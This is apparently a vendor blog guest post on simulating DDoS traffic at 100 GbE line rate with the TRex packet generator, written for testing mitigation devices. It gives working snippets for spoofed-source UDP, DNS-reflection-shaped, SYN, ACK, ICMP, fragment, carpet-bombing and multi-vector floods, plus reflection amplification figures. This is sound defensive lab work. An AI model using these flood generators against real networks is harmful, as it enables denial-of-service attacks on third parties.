Simulating DDoS Attacks at 100GbE Line Rate with TRex

FastNetMon

August 10, 2026

Blue-toned server hardware close-up with a diagonal light-blue banner reading 'Guest Post: Simulating DDOS at 100GbE line rate' and the FastNetMon logo.
Home FastNetMon Blog Simulating DDoS Attacks at 100GbE Line Rate with TRex
Portrait of a man with short dark hair and light stubble, wearing a dark gray T-shirt, facing the camera (circular crop).

This post is a repost of a technical blog originally published by Denys Haryachyy, shared here with permission as part of ongoing research and engineering work around FastNetMon’s inline traffic processing capabilities.

TL;DR. TRex’s stateless mode can simulate every common volumetric DDoS class at full 100 GbE line rate (142 Mpps), and they are all one generator template with a different header. This post takes each attack type in turn — what it is in the real world, how much of today’s traffic it is, and how to generate it in TRex. The shared trick is TRex’s Field Engine, which rewrites the source IP per packet to mimic the spoofed sources of a real botnet.

To test a DDoS-mitigation device I need attack traffic that looks like the real thing: high volume and spoofed, varied sources. TRex’s stateless mode gives me both — line-rate packet generation plus per-packet field rewriting — without modelling real TCP state. Each attack below is a real-world flood class paired with the exact snippet that generates it.

The Common Base: Spoofed Source IPs

Every flood below shares one thing: the source IP is randomised per packet to mimic a botnet of spoofed sources. That is a Field Engine program attached to the stream, and I reuse the exact same vm for all of them:

# Random (spoofed) source IP across a /16, with a fixed checksum
vm = STLScVmRaw([
    STLVmFlowVar(name="src", min_value="10.1.0.1",
                 max_value="10.1.255.254", size=4, op="random"),
    STLVmWrFlowVar(fv_name="src", pkt_offset="IP.src"),
    STLVmFixIpv4(offset="IP"),   # recompute IPv4 checksum
])

Two reasons this matters. Spoofed sources defeat per-source rate limits — no single IP stands out — and random sources spread across every RX queue of the target via RSS, so the attack hits all of the victim’s cores, not just one. Use op="random", not inc: random gives the full product of the address range as unique flows.

The Attacks at a Glance

Before the snippets, here is roughly how much of real network-layer DDoS each class accounts for — because it decides which ones are worth simulating first. These are Cloudflare’s 2025 Q2 per-vector shares; the ranking reshuffles every quarter, but the shortlist does not.

Share of network-layer DDoS attacks by vector
DNS floods (UDP) and TCP SYN floods are the two that matter most by attack count. Coloured by transport — UDP-carried vectors are about half of all attacks.

UDP Flood — and Its Reflection Variant

The attack. UDP has no handshake, so there is nothing to slow a flood down and no state to validate a spoofed source. Direct UDP floods are about 13% of network-layer attacks, but the bigger story is reflection: DNS floods alone are 33%, the single largest vector. In a reflection attack the attacker spoofs the victim’s address as the source of a small query to an open server, and the much larger reply is delivered to the victim — free bandwidth, and the attacker never touches the target.

How a reflection and amplification attack works
The multipliers are the bandwidth amplification factors from US-CERT TA14-017A (memcached measured up to 51,000× in 2018). The attacker spends 1 Gbps and the victim receives tens to thousands of times more.
protocolportamplificationstill common?
memcached11211up to 51,000×mostly filtered since 2018
NTP (monlist)123557×yes
DNS5328–54×yes — #1 vector
CLDAP389~56×yes
SSDP190031×yes

Reflection has one convenient property for a defender: it arrives with a well-known source PORT, so a single match catches it.

In TRex. The direct flood is the base packet with a UDP header; the reflection variant is a reply-shaped packet — source port 53, large payload — aimed straight at the target:

victim = "198.51.100.1"

# Direct UDP flood — connectionless, no handshake to slow it down
udp  = Ether()/IP(dst=victim)/UDP(sport=1025, dport=53)

# Reflection variant — the packet LOOKS like a DNS reply arriving at the
# victim: source PORT 53, large payload. In the wild the attacker spoofs the
# victim as the source and an open resolver sends this; in the lab I just
# emit the reply-shaped packet straight at the target.
refl = (Ether()/IP(dst=victim)/UDP(sport=53, dport=1025)
        / (b"\x00" * 1400))

TCP SYN Flood

The attack. The second-largest vector at ~27%. Each SYN asks the target to allocate half-open connection state; at 142 Mpps the listen backlog and the conntrack table are the pressure point long before bandwidth is.

SYN flood fills the connection backlog
Each SYN allocates half-open state; the backlog fills before bandwidth does.

In TRex. Same base, swap the header for a TCP SYN:

# TCP SYN flood — half-open connections exhaust the listen backlog
syn = Ether()/IP(dst=victim)/TCP(sport=1025, dport=80, flags="S")

TCP ACK Flood

The attack. An ACK with no prior SYN. A naive “drop non-SYN” rule will not catch it, and a stateful firewall still has to look up — and fail to find — a connection for every single packet. It is how attackers probe whether a filter is stateless or stateful.

ACK flood forces a connection lookup that always misses
An ACK with no prior SYN forces a conntrack lookup per packet that can never match.

In TRex. One flag changes:

# TCP ACK flood — an ACK with no prior SYN; slips past "drop non-SYN" rules
ack = Ether()/IP(dst=victim)/TCP(sport=1025, dport=80, flags="A")

ICMP Echo Flood

The attack. The classic ping flood — pure volumetric pressure with no protocol subtlety. Its realism comes entirely from the spoofed-source spread, which is why the shared vm is doing all the work here.

ICMP flood spreads across every RX queue
Pure packet-rate pressure; the spoofed-source spread lights up every core at once.

In TRex. Swap in an ICMP echo header:

# ICMP echo flood — the classic ping flood
icmp = Ether()/IP(dst=victim)/ICMP(type=8, code=0)

IP Fragment Flood

The attack. Send only the first fragment (MF=1) of an oversized datagram, so the target holds reassembly buffers waiting for a remainder that never arrives. The sharp edge for a filter is that a non-first fragment carries no L4 ports at all, so every rule that matches on ports is blind to it — a gap worth testing deliberately.

Fragment flood pins reassembly buffers and has no L4 ports
The first fragment is held waiting for a rest that never arrives, and it carries no ports to match on.

In TRex. Emit only the first fragment:

# IP-fragment flood — first fragment only (MF=1), forces the target to
# hold reassembly state for a datagram whose rest never arrives. Note there
# is no L4 port here, so any rule that matches on ports cannot classify it.
frag = Ether()/IP(dst=victim, flags="MF", frag=0)/UDP(dport=53)

Carpet Bombing: Spread the Same Traffic Thinner

The attack. Not a new protocol — a targeting change. Send the same total volume, but spread it across an entire prefix instead of one host. No per-destination threshold trips, because no single host looks abnormal, and detection that works per-host misses it entirely. It has grown over 110% in recent tracking.

Carpet bombing spreads an attack across a whole prefix
Same total volume in both cases. On the left one host is obviously under attack; on the right 65,536 of them are, and none looks unusual on its own.

In TRex. Add a second Field Engine variable that walks the destination across the protected range — inc here, not random, so every address is hit evenly:

# Carpet bomb — same flood, but the DESTINATION walks a whole /16 so no
# single host looks abnormal. Add a second Field Engine variable for dst.
carpet_vm = STLScVmRaw([
    STLVmFlowVar(name="src", min_value="10.1.0.1", max_value="10.1.255.254",
                 size=4, op="random"),
    STLVmWrFlowVar(fv_name="src", pkt_offset="IP.src"),
    STLVmFlowVar(name="dst", min_value="198.51.100.1",
                 max_value="198.51.100.254", size=4, op="inc", step=1),
    STLVmWrFlowVar(fv_name="dst", pkt_offset="IP.dst"),
    STLVmFixIpv4(offset="IP"),
])

Multi-Vector: All at Once

The attack. Real incidents rarely use one vector — attackers combine them precisely because defences tend to be vector-specific. The subtle part is the accounting. If I budget five vectors by equal bandwidth, they do not carry equal packets: the small-frame vectors dominate the packet rate, which is what actually costs a filter CPU.

Bandwidth share versus packet share in a multi-vector flood
Equal fifths of the bandwidth become 29 / 29 / 29 / 9 / 3 percent of the packets. Always budget a mixed profile by bandwidth, or you oversubscribe the link the moment frame sizes differ.

In TRex. Build one stream per vector, with the pps of each derived from its frame size so the sum is exactly line rate:

# Multi-vector — several classes at once, budgeted by BANDWIDTH so each
# gets an equal share of the 100G line (equal pps would oversubscribe the
# moment frame sizes differ). pps = share_of_line / frame_bits.
line_bps = 100e9
def pps_for(frame_bytes, vectors):
    return (line_bps / vectors) / ((frame_bytes + 24) * 8)

streams = []
for pkt, size in [(udp, 64), (syn, 64), (icmp, 64), (frag, 256), (refl, 1500)]:
    streams.append(STLStream(packet=STLPktBuilder(pkt=pkt, vm=vm),
                             mode=STLTXCont(pps=pps_for(size, 5))))

Driving It at Line Rate

Whichever attack I picked, the last step is the same — wrap the packet and its vm in a stream and start at 100%:

The TRex stream pipeline from packet to line rate
One stream template: swap the header on the left, the line-rate figure on the right stays put.
s = STLStream(packet=STLPktBuilder(pkt=syn, vm=vm),
              mode=STLTXCont(pps=25_000_000))
c.add_streams([s], ports=[0])
c.start(ports=[0], mult="100%", force=True)

Three such streams to different victim prefixes saturate a 100 GbE link at 142 Mpps of 64-byte frames. (Getting to that line rate — cores, hugepages, and the frame-size math — is its own topic.)

What You Will Actually See

One last piece of perspective, because it changes what you optimise for. The attacks that make the news are nothing like the attacks that happen. The overwhelming majority of real network-layer DDoS is small and brief:

Most DDoS attacks are small and short
94% of network-layer attacks stay under 500 Mbps and 89% end within ten minutes — but the tail reaches 31.4 Tbps.

So mitigation has to be automatic (ten minutes is not enough time for a human to react), but capacity cannot be planned off the median (the same infrastructure has to survive the rare hyper-volumetric one). Both numbers matter, and a line-rate generator is how you test against each end of that range.

Summary

  1. TRex stateless mode simulates every common volumetric DDoS class at 100 GbE line rate (142 Mpps).
  2. UDP/reflection, SYN, ACK, ICMP, and fragment floods are one template with a swapped header; the realism is spoofed source IPs via STLVmFlowVar(op="random") + STLVmFixIpv4.
  3. By attack count, DNS floods (33%) and SYN floods (27%) lead; UDP-carried vectors are about half, driven by reflection/amplification up to 51,000×.
  4. Carpet bombing is a targeting change (walk the destination prefix); multi-vector must be budgeted by bandwidth, because that is not the same as packet rate.
  5. Each class stresses a different resource — backlog, conntrack, reassembly buffers, or raw packet rate — so a real test suite needs all of them.

References